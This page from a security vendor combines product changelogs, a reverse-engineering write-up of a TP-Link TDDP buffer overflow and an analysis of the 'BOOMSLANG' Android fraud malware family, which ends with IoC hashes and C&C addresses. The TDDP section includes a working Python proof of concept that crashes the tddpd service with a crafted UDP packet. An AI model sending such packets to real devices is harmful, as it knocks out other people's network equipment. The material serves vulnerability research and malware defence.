官网

新闻

行业信息

合作信息

链安博客

服务

制造业

核心基础设施

电信

医疗行业

解决方案

iris文章录入练习

变更日志

帮助中心

漏洞管理

产品使用书

问答最频繁的问题

# Changelog

Shambles客户端更新日志

## [1.2.10] - 2025-06-12

### Added
- 新增SCA（软件成分分析）报告导出功能
- 新增漏洞类型：Use-After-Free与Double Free

### Fixed
- 修复macOS下无法打开AArch64架构二进制文件的问题
- 修复本地二进制分析模式下打开HexView出现白屏的问题
- 修复文件分片上传过程中的错误，提升文件上传的稳定性
- 修复漏洞扫描插件相关问题

### Changed
- 优化软件供应链信息列表的展示逻辑
- 优化客户端对大文件的处理机制，提高响应效率

Shambles客户端变更日志

# Changelog

Incinerator客户端更新日志

## [1.1.2] - 2025-05-23

### Added
- 同步云端最新APK报告内容
- 新增API调用

### Fixed
- 调整行为分析中危害级别
- 修复APK风险详情中代码列表构建问题
- 修复组件信息中Broadcast表字段为空的问题
- 修复部分APK上传异常的问题
- 修复APK反编译分析相关Bug

### Changed
- 优化TCP面板的显示方式，使界面更简洁直观
- 分析时内存优化
- 优化APK列表定时刷新机制

Incinerator客户端变更日志

# Changelog

Shambles Cloud更新日志

## [1.1.0] - 2025-03-29

### Added
- sca.shambles.cloud上线
- 新增API调用支持

### Fixed
- 修复文件分块上传时的错误，确保文件上传稳定性
- 超大文件检测策略调整

Shambles Cloud变更日志

# Changelog

Incinerator Cloud更新日志

## [1.1.0] - 2025-03-29

### Added
- 新增APK运行时截图查看
- 新增安全检测报告PDF下载
- 新增APK打包平台检测
- 新增API调用

### Fixed
- 修复行为分析中危害级别判断错误
- 修复APK风险详情中代码列表构建错误
- 修复组件信息中Broadcast表字段为空的问题

### Changed
- 优化TCP面板的显示方式，使界面更简洁直观
- 分析时内存优化

Incinerator Cloud变更日志

Incinerator——Android 恶意软件逆向分析终极利器

TDDP 服务程序在 UDP 端口 1040 上监听时，处理数据时未能正确检查长度，这导致了内存溢出，破坏了内存结构，最终引发了服务中断。

---

本文深入分析了一个在 2020 年向 TP-Link 报告的安全漏洞。遗憾的是，**至今没有** CVE 编号分配给这个漏洞，因此相关的详细信息并未公之于众。通常，阅读技术分析报告能够带来丰富的见解和学习机会。我坚信，公开分享研究方法和成果对整个行业以及广大的学习者、学生和专业人士都有着积极的意义。

在本文中，我将使用 **Shambles** 这个工具来**识别、逆向分析、模拟并验证**这个导致服务中断的缓冲区溢出问题。如果您对 Shambles 感兴趣，可以通过加入 Discord 服务器并查阅 FAQ 频道来了解更多信息。

首先，我们来介绍一下 TDDP 协议，这是一种在专利 **CN102096654A** 中详细描述的二进制协议。您需要了解的所有协议细节都在专利描述中。不过，我会在这里为您做一个简要的总结。

#

<img src="/ucenterapi/upload/file/1edd55c24dc6ca9057f627359dcf9227"></img!>

#

TDDP 是 TP-LINK 设备调试协议的缩写，它主要用于通过**单个 UDP 数据包**进行设备调试。这种协议对于逆向分析来说非常有趣，因为它是一个需要解析的二进制协议。TDDP 数据包的作用是传输包含特定消息类型的请求或命令。下图展示了一个 TDDP 数据包的结构。

#
```
 0 1 2 3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Ver | Type | Code | ReplyInfo |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| PktLength |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| PktID | SubType | Reserve |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MD5 Digest[0-3] |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MD5 Digest[4-7] |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MD5 Digest[8-11] |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| MD5 Digest[12-15] |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```

#
当您需要发送命令时，您需要调整 `Type` 和 `SubType` 这两个头部字段的值。据我所知，所有返回的数据都会使用 DES 加密，并且通常需要使用设备的用户名和密码来解密。发送给设备的配置数据也需要加密。DES 密钥是通过结合用户名和密码的 MD5 哈希值来生成的，具体做法是取哈希值的前 **8** 个字节。

下面这张图展示了整个缓冲区溢出的链条。我们将一步步分析，但您可能需要不时地回到上图来对照。

#

<img src="/ucenterapi/upload/file/67c79fe25118ea3361723a88d718c195"></img!>

#
让我们来详细分析一下。下面展示的函数我们称之为 `tddpEntry`（`sub_4045f8 0x004045F8`），这是整个链条的起点。这个函数负责使用 TDDP 协议处理通信，通过不断检查传入的数据。它从 `recvfrom` 函数接收 UDP 数据，该函数用于从 `dword_4178d0` 指定的套接字接收数据。

#

<img src="/ucenterapi/upload/file/507448ec7fd94007fc5effb8bc6bae3d"></img!>

#
接收到的数据被存储在缓冲区（`varf4`）中。在将数据传递给 `TddpPktInterfaceFunction`（`sub_4045f8+330 0x00404B40`）进行处理时，并没有对接收到的数据大小进行验证。如下图所示，`GetTddpMaxPktBuff`（`sub_4042d0 0x004042D0`）函数返回的值是 `0x14000`。

#

<img src="/ucenterapi/upload/file/73bfad6e3bf79edb6e1490bcb9221017"></img!>

#
接下来是 `TddpPktInterfaceFunction` 函数的实现。

#

<img src="/ucenterapi/upload/file/ab5fd95a50a0c1436c1db7830aa2557d"></img!>

#
上面的条件判断块会处理数据包的第一个字节 `p0` 等于 2 的情况，即代码中的 `*(byte *)p0 == 2`。该函数通过设置数据包中的特定值和一个新的存储空间指针来传递数据。然后，它调用 `tddp_versionTwoOpt`（`sub_404b40 0x00405990`）函数来进一步处理数据包。在处理数据包时，`off_42ba8c` 的大小和分配的最大长度为 `0x14000`。`tddp_versionTwoOpt` 函数将数据传递给 `tddp_deCode`（`sub_404fa4 0x00405014`）进行解码验证。

#

<img src="/ucenterapi/upload/file/bad734eb17f03475174c4af13cbabfbf"></img!>

#
`tddp_deCode` 函数会设置数据、DES 加密长度和指针，然后尝试解码传入的 TDDP 数据包（`p0` 和 `p1`）并验证解密数据的完整性。如果解码成功，它会更新解码后的数据并返回 `0`。

简而言之，`tddp_deCode` 函数的作用是解码 TDDP 数据包。在 `tddp_deCode` 函数中，数据和 DES 加密长度会被存储在 `byte[4-8]` 中，并且在调用 `des_min_do` 函数进行解密之前，会设置一个指向新存储数据的指针。值得注意的是，`des_min_do` 是 `/lib/libutility_lib.so` 库提供的一个函数。

#

<img src="/ucenterapi/upload/file/5816c5f91ce5f72c8851eb0b7524677e"></img!>

#
同样地，大小和长度等参数也会被传递给 `des_min_do` 函数用于解密。

#

<img src="/ucenterapi/upload/file/32c6542a5693e88a6982c01e94d8c30d"></img!>

#
在从输入数据中提取必要的字段后，该函数使用提取的字节 `byte[4-8]` 来计算 DES 加密长度，并将指针设置指向新存储的数据，这个指针由变量 `arg4` 表示。

#
```
// Further up in the function
arg0 = p0;
arg4 = p1; // Pointer of the newly stored data
// Line 99
var34 = des_min_do(arg0 + 28, var38, arg4 + 28, v18);
```

#
这里，`arg4` 作为参数传递给 `des_min_do` 函数，这个函数我们已经多次提到，它负责对数据进行解密。解密后的数据会从偏移量 `arg4 + 28` 的位置开始存储。

#
```
// Line 96
v18 = GetTddpMaxPktBuff() - 28;
```

#
结果值（`v18`）被用作后续操作的界限。上面的代码片段是在调用函数 `sub_4042d0()` 时的，它返回解密数据的大小。然后，从这个大小中减去 `28`，可能是为了计算某些头部的长度。这个值作为第四个参数传递。

这段内容有点长，也可能有些混乱，所以让我们来回顾一下。在 `des_min_do` 函数中，`arg4` 和 `v18` 是传递给函数的参数。变量 `arg4` 包含了 `p1` 的值，作为第三个参数传递给 `des_min_do`。`arg4` 用于提供 DES 数据的长度给 `des_min_do` 函数。`v18` 也作为第四个参数传递给 `des_min_do`，并且被赋值为 `GetTddpMaxPktBuff() - 28` 的结果。

现在让我们来看看 `des_min_do` 函数的实现。

#

<img src="/ucenterapi/upload/file/798d98700810e8f2f559581cd3a32814"></img!>

#
如上图所示，当传入的 DES 加密长度大于最大尺寸限制 `0x14000` 时，函数会直接返回 `0`，而不进行解密。因此，如果 `v6` 是 `0`，`v5` 小于 `p1`，那么 DES 加密密钥将不会使用 `DES_set_key_unchecked` 设置，也不会执行解密。所以在这个时候，`des_min_do` 函数将返回 `0`。

在 `tddp_deCode` 函数中执行了一些其他操作后，我们来到了 MD5 摘要验证环节。

#

<img src="/ucenterapi/upload/file/2373bbca91f1aa8769a14b94810518f2"></img!>

#
在 `tddp_deCode` 函数处理完毕后，会提取存储在 `byte[13-28]` 中的 MD5 摘要，并与当前数据集的整个 MD5 摘要进行比较。在比较 md5 摘要时，原始的 md5 摘要 `byte[13-28]` 位置会被设置为 `0`。如下图所示的内存写操作。

#
```
*(byte *)(arg4 + var38 + 28) = 0;
```

#
由于 `arg4` 是包含 MD5 摘要的数据结构，`var38` 保存了缓冲区中 MD5 摘要开始的偏移量。通过将这个位置的字节设置为 `0`，它有效地修改了存储的 MD5 摘要，该摘要存储在缓冲区的 bytes `13-28` 中。这种修改使得后续的比较能够确定重新计算的 MD5 摘要是否与原始存储的 MD5 摘要匹配。

所以！存储在 `byte[13-28]` 中的 MD5 摘要被提取出来。然后，这个提取的 MD5 摘要会与 MD5 摘要数据进行比较，其中原始 MD5 摘要 `byte[13-28]` 位置被设置为 `0`。如果验证过程正确（即，提取的 MD5 摘要与当前数据的 MD5 摘要相匹配），`tddp_deCode` 函数将继续处理，将新存储内容的指针指向 `byte[4-8] + 28` 的位置，并设置字节位置为 `0`。由于 `byte[4-8]` 是可以控制的，我们可以引发溢出（如果值大于 `0x14000`），将其写为 `0` 会导致内存损坏，因为它破坏了内存结构并引发了服务中断（DoS）状态。

让我们用 Shambles 来做一个概念验证（POC）吧！这个过程实际上只需要 **5** 分钟。只需创建一个虚拟机并将其映射到包含所有固件二进制文件的第二个文件系统。

#

<img src="/ucenterapi/upload/file/758ebf458de6e1bb64fbb3316097f62d"></img!>

#
然后我们只需启动虚拟机，如下所示，无需对固件做任何修改，它就能完美运行。

#

<img src="/ucenterapi/upload/file/36da2ba309ace13c5e5dfb02b7253de8"></img!>

#
通过内置的 SSH 控制台，我们将手动启动 `httpd` 程序。

#

<img src="/ucenterapi/upload/file/34f6c3b81bdac0cdc29a8a08fbc10544"></img!>

#
我们可以通过设置反向代理并访问页面来验证它是否正常工作。

#

<img src="/ucenterapi/upload/file/4ca4a5b9f9358ab71efb359abd80d9b2"></img!>


<img src="/ucenterapi/upload/file/57963f5abb54ba365f44ac0b368cccdd"></img!>

#
我们还将启动 `tddpd` 服务。

#

<img src="/ucenterapi/upload/file/62cad39a3edd672dd4bcaad54aac0880"></img!>

#
在我们尝试对系统进行任何操作之前，始终要验证所需的服务是否正在运行。我们在下图确认 `tddpd` 正在端口 `1040` 上运行。

#

<img src="/ucenterapi/upload/file/e74176451c4cd798ba58fb9a503d9424"></img!>

#
我将通过本地端口 `10461` 访问虚拟机的端口 `1040`。

我们需要在 `byte[4-8]` 中将 `v0` 设置为 `0x01000000`。UDP 数据包仍然必须是有效的并被识别。所以根据专利信息，我们将设置以下值：

#
```
byte[0]: Ver
byte[4-8]: PktLength
byte[13-28]: MD5 digest
byte[29-N]: DES
---------------------------------
TDDP version = "02"
TDDP user config = "01 00 00 00"
TDDP code request type = "01"
TDDP reply info status (OK) = "00"
TDDP padding = "%0.16X" % 00
```

#

<img src="/ucenterapi/upload/file/61d4da049b90e16a10d9aaf05d1c39fe"></img!>

#
最终的概念验证代码如下，

#
```
import socket
import hashlib
bytes12 = bytes([0x02, 0x01, 0x00, 0x00,
 0x01, 0x00, 0x00, 0x00,
 0x12, 0x34, 0x56, 0x78])
magic = (0x00).to_bytes(length=16, byteorder='big')
tmp_data_bytes = bytes12 + magic
md5_bytes = hashlib.md5(tmp_data_bytes).digest()
data_bytes = bytes12 + md5_bytes
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(data_bytes, ("127.0.0.1", 10461))
data = s.recv(1024)
print('recv:' + data.decode())
s.close()
```

#
一旦执行，我们可以查看 Shambles 虚拟机的日志，发现 `tddpd` 程序已经崩溃。

#

<img src="/ucenterapi/upload/file/4adb8a13575bc01d5cc306bf0600284c"></img!>

#
通过调试，我们可以确认崩溃的原因是传入的 `v0=0x01000000` 超出了范围，导致写入值为 `0`，从而引发了崩溃。

#

<img src="/ucenterapi/upload/file/2a005c39f882ce858539d88e4acbd905"></img!>

#

TP-Link TDDP 缓冲区溢出安全漏洞解析

#

<img src="/ucenterapi/upload/file/d03a941d0788ab0b4a6dfe36875724e7"></img!>

# 概述

经监测，我们截获了一起与未知家族有关的欺诈性 Android 应用传播事件。详细调查发现，该家族主要使用开源的 Telegram Android 源代码作为其核心功能模板。通过各种策略，包括但不限于刷单、投资推广和色情聊天，该家族诱导用户下载并安装其应用，从而执行欺诈操作。进一步网络环境探测结果显示，存在多款与该家族高度相似的活跃应用，进一步证实了这些应用确实属于同一个欺诈家族。这个家族不仅具有高度的欺诈性和一致性，还拥有一个完整的业务供应链。基于上述特点，我们决定为这一欺诈家族命名为“BOOMSLANG（树蚺）”。

# 技术分析

#

<img src="/ucenterapi/upload/file/56ad0a22c4fea9f1a3f048b27f7ebe5b"></img!>

#
从我们获取的家族样本中进行溯源分析后，发现该家族最早始于 2022 年 9 月进行传播。由于当时疫情等外部因素的影响，该家族在 2022 年 9 月至 2023 年 3 月期间处于欺诈传播的初级阶段。然而，随着社会状况逐渐恢复，该家族开始大规模传播，并推出了多个不同业务类型的版本。值得注意的是，为了适应反欺诈措施，该家族在 2023 年 7 月首次进行了变种，引入了“Domain Over HTTPS（DoH）”技术。随后，在 2023 年 9 月，家族样本再次发生变种，增加了对现有自动化 App 安全检测手段的抵抗能力，具体采用了 NPManager 自带的 StringFrog 混淆技术，以规避基于字符串提取的安全检测。


> DoH（DNS over HTTPS）是一种安全协议，用于通过 HTTPS 加密的连接进行 DNS 解析请求和响应。其主要目的是增加隐私和安全性，防止 DNS 请求被窃听或篡改。


接下来，我们将对该家族的原始版本以及引入 DoH 技术的版本进行深入分析。

### 样本概况

#### **样本标识**

- MD5 Hash: `0a731ace7a01349d8c103ad5dc7fc230`

#### **功能与行为**

1. 登录界面：样本启动后展示的是一个登录界面，该界面要求输入邀请码以进行登录。
2. 聊天界面：登录成功后，用户将进入一个聊天界面。
3. 恶意活动：该样本主要通过聊天功能进行诈骗或其他类型的恶意行为。

#

<img src="/ucenterapi/upload/file/19db485880b33dd4108f8a2142956fa5"></img!>

#
## 分析细节

### 样本基本面分析

#

<img src="/ucenterapi/upload/file/1f9130dfcebb9506357b477838116334"></img!>


<img src="/ucenterapi/upload/file/a2f9c6667c9dd399ad734b73918e5747"></img!>

#
1. 权限分析：使用 Incinerator 工具打开样本后，从生成的 Report 信息中可以观察到，该样本请求了多个高风险的权限。

#

<img src="/ucenterapi/upload/file/9280009f2cf6e5353c8c2dea418d8b10"></img!>


<img src="/ucenterapi/upload/file/2516e4cbaa3e607931fd2ee8b949cd7f"></img!>


<img src="/ucenterapi/upload/file/0a906630131d0146f89f48dcbbdde5f2"></img!>

#
2. 动态检测结果：

 - 包名与子目录问题：动态检测结果显示，在 `im.lpfupkaehn.messenger` 包名下的 `tgnet` 子目录中，`NetworkConfig.java` 文件存在明显的问题。

接下来，我们将详细分析 `im.lpfupkaehn.messenger` 包名的具体表现和潜在风险。

### 代码相似度

#### **文件与目录结构**

- tgnet 子目录：在 `im.lpfupkaehn.messenger` 的相应目录下，存在一个明确的 `tgnet` 子目录。

#### **源码比对**

- GitHub 搜索结果：利用该目录中的代码进行 GitHub 搜索后，发现这部分代码与 Telegram Android 源码高度相似。

#

<img src="/ucenterapi/upload/file/281bdfe0fc686b815b0f9355fdeb139d"></img!>

#
#### **代码相似性比较**

- `im.lpfupkaehn.messenger` 与 `org.telegram.messenger`

#

<img src="/ucenterapi/upload/file/96ebd34d2d6e07a6bcd376cb7cf327b9"></img!>

#

<img src="/ucenterapi/upload/file/1d16d4a5b2f793e189d1f230bf7d0928"></img!>

#
多个类文件，如 `AccountInstance` 等，在排除反编译因素后，显示为 100% 相同。

### 代码差异分析

#### **主要新增部分**

在该样本中，基于 Telegram Android 源码，主要有三个显著的新增部分：

1. 依赖库：

 - 位置：主要集中在 `com` 目录下。
 - 功能与调用：这些库基本上都能通过搜索找到其调用处，主要用于处理一些较小的功能。
 - 示例：`com.alibaba.fastjson` 库主要用于处理更新用户信息的协议。

2. UI 目录差异：

 - 对比：`im.lpfupkaehn.ui` 目录与 `org.telegram.ui` 目录相比，前者多出几个目录。
 - 推测：这些新增目录可能是为了满足定制 UI 的需求而加入的。

#

<img src="/ucenterapi/upload/file/942d7c707fa9e9f5d216199a06b587ce"></img!>

3. tgnet 目录差异：

 - 对比：在 `im.lpfupkaehn.tgnet` 和 `org.telegram.tgnet` 目录之间进行比较，发现前者多出几个文件。
 - 推测：这些新增文件可能是用于实现特定的网络通信或功能。

#

<img src="/ucenterapi/upload/file/ce38287067a33c93d5ce7dbd5861e417"></img!>

#
### 详细新增类文件分析

在该家族样本中，特别值得注意的是新增了以下类文件：

#### **基础网络与文件操作类：**

- `FCTokenRequestCallback`： 可能与 Token 请求有关。
- `FileLoadOperation`： 文件加载操作。
- `FileLoadOperationDelegate`： 文件加载操作的代理。
- `NetBean`： 网络配置 Bean。
- `NetworkConfig`： 网络配置。
- `ParamsUtil`： 参数工具。

#### **Telegram 后台通讯扩展（TL 系列）：**

- `TLApiModel`： API 模型。
- `TLRPCZ`： 可能与 RPC 通讯有关。
- `TLRPCBackup`： 备份相关。
- `TLRPCBasic`： 基础 RPC 功能。
- `TLRPCCall`： 通话功能。
- `TLRPCCdn`： CDN 相关。
- `TLRPCChats`： 聊天相关。
- `TLRPCContacts`： 联系人相关。
- `TLRPCFriendsHub`： 好友中心。
- `TLRPCHotChannel`： 热门频道。
- `TLRPCLogin`： 登录相关。
- `TLRPCRedpacket`： 红包功能。
- `TLRPCWallet`： 钱包功能。

这些新增的类文件主要涉及到网络操作、文件处理以及与 Telegram 后台进行通讯的多个方面。这进一步突显了该家族样本相较于原始 Telegram 代码的定制和拓展。

### 网络行为分析报告

#### **主要焦点：**`NetworkConfig.java`

基于自动化分析的结果，`NetworkConfig.java` 文件代码中存在明显的问题，因此本次分析将重点关注该文件。

- 网络配置更新机制

#

<img src="/ucenterapi/upload/file/1bfa89a636f60b7a5fa45fd219346e3a"></img!>

#
环境区分：代码中区分了线上环境和内网环境。只有标识为 1002 的是线上环境，需要更新网络配置。

#

<img src="/ucenterapi/upload/file/64c2eab62c93a33e704f35373cf38212"></img!>

#
- 这里有两个关键函数 `initRemoteConnInfos` 和 `selecteRemoteConnInfo`

#

<img src="/ucenterapi/upload/file/9d0ca41caf1d3ca1cfb02e710b74965b"></img!>

#
关键函数分析：`initRemoteConnInfos`： 主要负责从配置接口 `https://``*************``.``***``-``**********``.``********``.``***``/``************``.``***` 获取目标 IP 和端口信息。

#

<img src="/ucenterapi/upload/file/9780be985610896222bf53f6a5efe7e5"></img!>

#
`selecteRemoteConnInfo: ` 使用阿里游戏盾将目标 IP 和端口转换为代理 IP 和端口，达到隐藏实际 IP 和端口的目的。

#

<img src="/ucenterapi/upload/file/d6169cd86c1c96fadcc422854fb3970a"></img!>


<img src="/ucenterapi/upload/file/a7d8362bf6853c7cf063aad157173fb1"></img!>

#
#### **阿里游戏盾使用逻辑**

- 功能介绍：阿里游戏盾提供了一个免疫 DDoS/CC 攻击的弹性安全网络。具体来说，它根据提供的目标 IP 和端口生成一个动态变化的代理 IP 和端口。
- 挑战与影响：对于网络行为分析和恶意程序网络请求拦截来说，阿里游戏盾的弹性安全网络构成了一个严重的挑战。因为代理 IP 和端口可以不断变化，这极大地增加了网络追踪和拦截的难度。

该样本利用了复杂的网络配置和第三方安全服务（阿里游戏盾）来隐藏其实际网络行为，从而增加分析和追踪的难度。这些特点进一步证明了该恶意样本的高度专业性和隐蔽性。

`YunCeng.getProxyTcpByDomain` 的反编译代码如下：

#

<img src="/ucenterapi/upload/file/caf3e3d1c8811a48a93c31ff034ea38e"></img!>


<img src="/ucenterapi/upload/file/3f4cdda40883df9dee2aa16f2e41c7a3"></img!>

#
根据阿里游戏盾官方网站上较旧版本的文档，`getProxyTcpByDomain` 函数的前四个参数表现如下：

#

<img src="/ucenterapi/upload/file/17654a99bb57c6fba1124dd9186b4dca"></img!>

#
函数的后两个参数则用于返回与输入目标 IP 和端口相对应的代理 IP 和端口。

在对上述代码进行进一步分析后，我们发现返回的代理数据最终被传递给了 `ConnectsManager`。

#

<img src="/ucenterapi/upload/file/41dffd2d0df1c6c7663d01fe93867238"></img!>


<img src="/ucenterapi/upload/file/473b0777438292d66f6b56353cc18d2a"></img!>

#
我们注意到这是一个 `native` 函数。在常规情况下，我们需要逆向分析。`so` 文件以获取相应的代码。然而，由于之前我们已经提到这个样本代码与 Telegram Android 有很高的相似性，我们决定直接查阅 Telegram Android 的源代码来进行分析。

#

<img src="/ucenterapi/upload/file/d617022062a685c9d33f91e43ba3c101"></img!>


<img src="/ucenterapi/upload/file/8a2f6dfb606ba602a2befa31e155ed75"></img!>

#
在这个步骤中，返回的 IP 地址和端口号被设置给了 ConnectManager 的 datacenter 对象，并随后重新发起了握手过程以建立新的连接。这一操作实现了样本与云端网络通讯的服务器切换。至此，恶意样本已经成功地通过新的 IP 和端口与远程服务器建立了新的通信通道。

**拦截方法：**

经过详细分析，我们完成了对样本主要网络请求逃逸拦截行为的审查。该样本巧妙地利用了防 DDoS 服务，通过不断更换请求的 IP 地址和端口，有效地规避了传统的基于固定 IP 请求拦截的防护手段。

要全面阻断这一样本的网络请求，需要通过静态和动态分析相结合的方式，找出样本是如何利用阿里游戏盾服务的，并据此拦截相关网络通信途径。具体拦截策略可集中在以下三个方面：

1. 拦截样本通过请求阿里游戏盾来获取目标 IP 地址和端口的网络请求。

#

<img src="/ucenterapi/upload/file/d661d411ce5aa036f10a9f3557794e0c"></img!>

#
2. 如果第一种拦截策略未能成功执行，那么还需要针对样本中预设的默认 IP 和端口进行拦截。具体来说，应该拦截所有指向 `****``.``**``.``********``.``***` 的网络请求。

#

<img src="/ucenterapi/upload/file/aea62e5d0d33944b3b8be96a6f45e7e4"></img!>


<img src="/ucenterapi/upload/file/072cb60756103770c528db7104fcd22f"></img!>

#
3. 在灰度测试阶段，如果前两种拦截策略都未能成功，那么应关注样本中预设的第三个默认 IP 地址，即 `**``.``***``.``***``.``***`。所有指向这一 IP 的网络请求也应被拦截。

#

<img src="/ucenterapi/upload/file/f8b030422ea507257859aa80a77f4fd4"></img!>

#
这些网络请求被巧妙地深藏在代码中，需要综合应用动态和静态分析方法才能准确地识别出它们，这无疑给安全对抗工作增加了额外的挑战和工作量。

### 家族变种分析

在持续追踪此类恶意 APP 过程中，我们发现了一种新的变种，其 MD5 哈希值为 `61eea96bae6e53b6806d974cf35877df`。这个新样本做出了一个显著的变化：它不再依赖于阿里游戏盾，而是转向使用了七牛云的 DoH（DNS over HTTPS）服务。具体的使用方式如下：

#

<img src="/ucenterapi/upload/file/b32d73b7e3572d2d50356c2c3a42c69d"></img!>


<img src="/ucenterapi/upload/file/e49933bdc7b3cee4b55849256a3f15df"></img!>

#
在这个新的变种中，攻击者将 HOST 中的地址配置为七牛云的 DnsManager 的 dnsServer。然后，该 DnsManager 负责进行 DNS 查询。这种改变不仅表明攻击者正在逐渐熟悉和利用更高级的网络服务，而且也增加了分析和拦截其行为的复杂性。

#

<img src="/ucenterapi/upload/file/7eea90f64b42f93f83ace49f9e34df08"></img!>

#
在这种情况下，样本通过其自己控制的 dnsserver 来动态地更换 IP 地址。这种设置使得攻击者能够在后端使用类似于阿里游戏盾的工具，随机返回不同的代理 IP 地址，从而实现真实 IP 地址的隐藏。如果 DNS 查询失败，样本会回退到预设的 IP 和端口，进一步增加了对抗分析的复杂性。这种多层次的网络行为策略不仅增加了分析工作的难度，也为有效拦截创建了额外的挑战。

#

<img src="/ucenterapi/upload/file/a3566fee0eacdc1b5cf008860dabf3ce"></img!>

#
### 总结

在对该恶意样本的全面分析中，我们可以看出样本在多个层面上展示出复杂和隐蔽的行为特点：

1. 代码结构：该样本大量借用了 Telegram Android 的源代码，并进行了多处定制和添加，这增加了分析的复杂性。
2. 网络行为：

 - 早期版本主要使用阿里游戏盾进行 IP 和端口的动态更换，以规避网络拦截。
 - 新变种则切换到了使用七牛云的 DoH 服务，进一步提高了其隐蔽性。

3. 动态与静态分析结合：由于样本使用了多种方式来隐蔽其网络行为和代码结构，因此需要同时运用动态和静态分析来全面了解其行为模式。
4. 对抗措施：对该样本的有效拦截需要细致地分析其使用的所有通讯路径和依赖库，并针对这些特定路径和库进行拦截。
5. 更新和演进：该样本具有较高的更新频率和多样性，需要持续关注其变种和更新。

综上所述，该恶意样本展示了高度的复杂性和隐蔽性，需要综合多种分析手段并持续跟踪其变化，以便制定有效的防护措施。

# IoC

## Hash:

0a731ace7a01349d8c103ad5dc7fc230

c0c2c778f447c8e8e007f23fc9884270

f911559ca31a67644839fb3441b4353a

90a214d758e139e7604d2a0ffeea636d

07adcaaba76313bb403e272af0b410fb

cc77e56537f42e9f9929414e0c6ee5fa

3500969225597c6ef74bbcd430db639b

9e2430fbf9fda9d88c64fa21be0397be

cad71847f3d233392858241108379ba9

4c0ef460d9002529e5c4246a01b4bb3b

61ad63ee3527a0386728d7b7fd7327c1

f5e0cb000781595282b08c0c13aa2ccd

aa9b9fa34ecccd73586a75a5c2b472da

1ee643ce7569b8badef4893a06a65529

83769c54646c9b7fb4395e2bd2bbd8ca

340795cd070438dbab4224b39de2bb32

c5381d9b17d4d870f4187bd92fffc4f1

34db2c2aa456d943c0cee500895b6ebb

903a976b8469ffc51f865064c1c99134

e51e972cab85b126aa714367a6b3580d

0e8f47f6fd85f87ec856b8338cb1a58e

5c901f89a693a81a60da1f0314fc8c00

8bf147393b4349e6d30855f5a1994122

0724e81bab5c781229d8a412b078a470

84bad8f49ab890c25ccd33b751d875a1

dbce0d16142d5492ff7c3304ee24c118

cda08dd3ba29229da293efb299a0071b

7870d55613d69067f432bcfced6b9395

e01a68ff450ca8e9e8a148060503aa4d

a248ce6f396c27ebc7f5a660e367eae8

c80a11363e216d7e32e17fa044672369

79bcd908766033491409c62015488049

55e3dfe425fb5372542909a63ed007e5

5bb38f2601937a538d068047dc32937b

a1b5de8df8741deb655c84d3dad536fd

## C&C:

47.104.243.76:31537

183.230.11.65:55555

42.193.237.57:30003

175.178.152.90:30003

139.199.224.36:30003

111.230.69.193:30003

36.255.220.245

https://ff119f.oss-accelerate.aliyuncs.com/andrioddunv.txt

https://axvsag103sdvsbd.oss-accelerate.aliyuncs.com/andrioddunv.txt

https://126sand.oss-accelerate.aliyuncs.com/andrioddunv.txt

https://bw36file.oss-accelerate.aliyuncs.com/andrioddunv.txt

https://bw1cloudfile1.oss-accelerate.aliyuncs.com/andrioddunv.txt

https://ff115f.oss-accelerate.aliyuncs.com/andrioddunv.txt

https://bw5file1.oss-cn-hangzhou.aliyuncs.com/andrioddunv.txt

https://80xbdfs.oss-accelerate.aliyuncs.com/andrioddunv.txt

https://bw89file.oss-accelerate.aliyuncs.com/andrioddunv.txt

https://6oiue.oss-accelerate.aliyuncs.com/andrioddunv.txt

https://ma36twegt.oss-accelerate.aliyuncs.com/andrioddunv.txt

https://6fdhgbtreh.oss-accelerate.aliyuncs.com/andrioddunv.txt

https://fdasfewmm26dsafdas.oss-ap-southeast-1.aliyuncs.com/andrioddunv.txt

https://gg81fnew.oss-accelerate.aliyuncs.com/andrioddunv.txt

https://ev10mgmt.oss-accelerate.aliyuncs.com/andrioddunv.txt

https://26qewsdz.oss-accelerate.aliyuncs.com/andrioddunv.txt

https://file100fg.oss-accelerate.aliyuncs.com/andrioddunv.txt

https://jbsa111.oss-accelerate.aliyuncs.com/andrioddunv.txt

https://cxvsdf121gfhe.oss-accelerate.aliyuncs.com/andrioddunv.txt

https://wb25f.oss-accelerate.aliyuncs.com/andrioddunv.txt

https://abhjbw115jks.oss-accelerate.aliyuncs.com/andrioddunv.txt


https://bhjasd183.oss-accelerate.aliyuncs.com/andrioddunv.txt

https://bw39file.oss-accelerate.aliyuncs.com/andrioddunv.txt

https://if90f.oss-accelerate.aliyuncs.com/andrioddunv.txt

https://8.212.47.67/dns-query

https://8.212.102.80/dns-query

https://8.212.1.70/dns-query


https://8.212.101.76/dns-query

https://47.57.138.89/dns-query

https://47.57.2.128/dns-query

Smile.isk5uz.com

Maomi.gz.bw36diannew.com

abab.gz.bibi115s.com

Pulo.gz.bw6nmddk.com

Qiaojiar.gz.bw111uam.com

guo.gz.awwb90.com

ttt.gz.iudjd119.com

Facai.gz.bw26f.com

Sichunge.bj1.mumrsn8i.com

nqo5.hz.sjdnbw81.com

deadf.gz.wknbw25.com

Lvcha.gz.bw183khgftdfgh.com

Wngd.gz.bw121ffu.com

Gsnm.gz.bw115dsvwerfoijsd.com

Xecm.gz.bw6st.com

Huachuanghulian.gz.bw16wcnmader.com

Qingyimianmian.gz.bw39top.com

Zzh.gz.bw126zzhyyds.com

wrty4.gz.az25ru.com

roklw.gz.skmw100.com

